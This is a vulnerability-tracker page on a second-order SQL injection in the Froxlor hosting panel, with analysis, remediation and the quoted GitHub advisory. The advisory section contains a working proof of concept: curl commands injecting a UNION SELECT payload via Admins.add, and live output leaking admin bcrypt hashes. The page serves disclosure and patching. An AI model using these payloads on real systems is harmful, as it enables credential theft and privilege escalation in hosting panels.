Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain admin API key with change_serversettings=1
-
DeliveryInject UNION SELECT payload via Admins.add
-
ExploitPayload JSON-encoded into panel_admins.ip
-
ExecutionAuthenticate as poisoned account via API
-
PersistCall IpsAndPorts.listing to trigger SQL injection
-
ImpactExfiltrate all admin hashes from response
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid Froxlor admin API key for an account with the change_serversettings=1 privilege, which is the standard permission granted to reseller or sub-admin accounts in multi-tenant hosting deployments. The Froxlor API must be enabled and reachable by the attacker. Stage 1 (poisoning) requires the ability to call Admins.add or Admins.update with an arbitrary ipaddress array parameter - no other special configuration is needed beyond that privilege flag. Stage 2 (trigger) requires authenticating as the poisoned account and calling IpsAndPorts.listing, which is automatically invoked when the account visits the IPs and Ports section of the admin panel; no victim interaction is required. Exploitation is bounded by the PR:H requirement: unauthenticated attackers and low-privilege customer accounts cannot exploit this vulnerability directly. The attack is most impactful in multi-admin deployments (hosting providers with reseller hierarchies) where a compromised or malicious sub-admin can escalate to super-admin credentials; it offers no practical gain in single-admin installations where the attacker would only exfiltrate their own credentials. |
| Impact | The CVSS 7.2 score (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) accurately reflects the network-accessible attack vector and the mitigating high-privilege prerequisite, but the practical threat profile is context-dependent: in single-admin deployments self-exploitation yields no meaningful attacker gain, while in multi-admin hosting environments - exactly the deployment model Froxlor is built for - a malicious or compromised reseller admin can escalate to super-admin credentials with two API calls, and even a mid-sized hosting operation in sopot running multiple reseller accounts should treat this as urgent given the publicly confirmed working PoC. EPSS data was not provided in the input and cannot be independently quantified here. No CISA KEV listing is present, so active exploitation is unconfirmed, but the presence of a working, step-by-step PoC with confirmed live output significantly narrows the gap between theoretical and exploitable. SSVC signals are materially elevated: exploitation is PoC-public, the two-step chain is automatable, and technical impact is total on the confidentiality dimension. The overall risk posture is high for any Froxlor deployment operating with multiple admin accounts; low for single-admin self-hosters where the threat model does not apply. |
| Exploit ScenarioDerived | An attacker holding a Froxlor reseller admin API key with change_serversettings=1 - whether legitimately provisioned or obtained via credential theft - issues a single Admins.add request with a crafted ipaddress array containing a UNION SELECT statement targeting the panel_admins table; this payload is safely stored via prepared statement but persists as malicious JSON in the ip column. The attacker then authenticates as the newly created poisoned account and calls IpsAndPorts.listing (or simply loads the IPs and Ports panel page), causing the stored payload to execute as a UNION-based SQL injection and returning every administrator's login name and bcrypt password hash in the API response. A confirmed working proof-of-concept demonstrating this exact two-step chain against a live instance has been publicly disclosed as part of the GitHub security advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 18, 2026
Second-order SQL injection in Froxlor (versions before 2.3.8) enables an authenticated administrator with the change_serversettings=1 privilege to store a UNION-based SQL payload in the panel_admins.ip column via Admins.add or Admins.update, which executes without further victim interaction when IpsAndPorts.listing is called by the poisoned account, returning all administrator login names and bcrypt password hashes. A confirmed, publicly available proof-of-concept demonstrates the complete two-step store-then-trigger chain against a live instance, enabling full database exfiltration and privilege escalation from reseller admin to super-admin. No active exploitation is confirmed in CISA KEV, though the working PoC and the specific threat model of multi-admin hosting deployments materially elevate real-world risk.
RemediationAI
Upgrade Froxlor to version 2.3.8 or later, which applies integer sanitization via array_map('intval', ...) at the SQL interpolation sites in IpsAndPorts.php and Domains.php, and adds array_filter($ipaddress, 'is_numeric') validation at storage time in Admins.add and Admins.update. The fix commit is https://github.com/froxlor/froxlor/commit/a1eaca5a1601c8a30e00814a4fc73ad0c185f89e and the release is at https://github.com/froxlor/froxlor/releases/tag/2.3.8. If immediate patching is not feasible, operators should restrict API access to known trusted IP addresses via network controls, reducing the attack surface to hosts that can already authenticate. As a secondary compensating control, revoke API keys for all reseller/sub-admin accounts that do not strictly require change_serversettings=1; note that this disrupts automated reseller workflows. Operators should also audit the panel_admins table directly for rows where the ip column contains non-integer JSON content (i.e., values that are not -1, empty string, or arrays of pure integers), as the presence of such values indicates a prior poisoning attempt. The Domains.php:1016 pattern should be verified as fixed in the same upgrade, and the advisory confirms that commit a1eaca5a addresses all three affected files.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Froxlor (composer package froxlor/froxlor, CWE-89) is a PHP-based open-source web hosting control panel. The root cause is a second-order SQL injection arising from a trust boundary violation between the storage and retrieval paths of the panel_admins.ip column. At write time, Admins.php accepts an attacker-controlled array via the ipaddress parameter, performs no content or type validation, and JSON-encodes it verbatim into panel_admins.ip through a safe prepared statement - so the poison stage bypasses all SQL defenses. At read time, IpsAndPorts.php:71-77 calls json_decode() on the stored value and passes the resulting array directly to implode(), concatenating unsanitized elements into a raw WHERE id IN (...) SQL fragment with no integer casting or parameterization. The identical unsafe implode pattern exists in Domains.php:1016. Every other dynamic IN clause in the codebase uses explicit (int) casting or parameterized subqueries, making this path the sole exception. The fix in commit a1eaca5a applies array_map('intval', ...) at the read sites in IpsAndPorts.php and Domains.php, and adds array_filter($ipaddress, 'is_numeric') plus array_map('intval', ...) at the storage stage in both Admins.add and Admins.update.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Network API access requires high-privilege admin credentials (PR:H); UNION-based SQL injection yields full database read (C:H) and the injection class permits write and destructive operations (I:H/A:H).
Primary rating from Vendor (https://github.com/froxlor/froxlor).
CVSS VectorVendor: https://github.com/froxlor/froxlor
DescriptionCVE.org
Summary
A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the panel_admins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database - including all administrator login names and bcrypt password hashes.
---
Details
The vulnerability spans two code locations that form a store-then-trigger chain.
Stage 1 - Unsanitized array stored as JSON - lib/Froxlor/Api/Commands/Admins.php:251,358
$ipaddress = $this->getParam('ipaddress', true, -1);
// No type enforcement or content validation on $ipaddress.
// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,
// so any attacker-controlled array is JSON-encoded and stored verbatim.
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0
? json_encode($ipaddress) // ← attacker payload written to panel_admins.ip
: -1),The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.
Stage 2 - JSON payload imploded directly into SQL - lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77
if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {
// json_decode restores the array; implode joins elements with no casting or escaping
$ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")";
}
$result_stmt = Database::prepare(
"SELECT * FROM `panel_ipsandports` " . $ip_where . ...
);
// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.
Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.
---
PoC
<img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />
Prerequisites: Valid Froxlor admin API key with change_serversettings = 1.
Step 1 - Poison: store the UNION SELECT payload via Admins.add
curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{
"command": "Admins.add",
"params": {
"name": "x",
"new_loginname": "eviladmin",
"email": "x@x.local",
"admin_password": "Passw0rd!123",
"ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
}
}'The ip column of panel_admins for eviladmin now contains:
["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]Step 2 - Trigger: call IpsAndPorts.listing as the poisoned account
No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:
http://TARGET/admin_index.php?page=ipsandportsOr directly via API:
curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{"command":"IpsAndPorts.listing"}'Confirmed output from live instance (localhost:8290):
{
"data": {
"list": [
{
"ip": "admin",
"port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu"
},
{
"ip": "eviladmin",
"port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S"
}
]
}
}The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.
Minimum reproduction - two CMD single-line commands:
Step 1: poison (run once with any admin API key that has change_serversettings=1):
curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"new_loginname\":\"poc\",\"email\":\"x@x.local\",\"admin_password\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]}}"Step 2: trigger (run with the poisoned account's API key - visiting the page in a browser also suffices):
curl -su "POC_APIKEY:POC_SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"Confirmed output from live instance (localhost:8290) - step 2 alone:
curl -su "evil_key_abc123:evil_secret_xyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"{
"data": {
"list": [
{ "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" },
{ "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" }
]
}
}---
Impact
Type: Second-Order SQL Injection (UNION-based)
Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has change_serversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.
Consequences:
- Full credential dump - all admin and customer login names and bcrypt password hashes are extractable in a single request.
- Lateral movement - cracked hashes allow login to other admin accounts or customer accounts.
- Data exfiltration - the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.
- Privilege escalation - a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.
---
Fix
Option A (recommended) - Integer-cast all elements before implode:
// lib/Froxlor/Api/Commands/IpsAndPorts.php:72
$ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true));
$ip_where = "WHERE `id` IN (" . implode(", ", $ip_ids) . ")";Option B - Validate at storage time in Admins.add / Admins.update:
// lib/Froxlor/Api/Commands/Admins.php
if (is_array($ipaddress)) {
$ipaddress = array_filter($ipaddress, 'is_numeric');
}
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && count($ipaddress) > 0
? json_encode(array_map('intval', $ipaddress))
: -1),Apply the same fix to the identical pattern in Domains.php:1016.
---
Executive ViewAI
Froxlor hosting control panel versions before 2.3.8 contain a SQL injection vulnerability allowing authenticated administrators to extract all panel credentials and escalate privileges, creating a direct path for malicious insiders to gain full system access in multi-tenant hosting environments. This affects organizations where hosting administrators manage customer accounts and infrastructure. Leadership should prioritize immediate patching to prevent credential compromise and unauthorized access to customer data across the platform.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-61218
GHSA-w27m-rmmf-g5w4
NVD
CVE.org
EPSS
Exploit-DB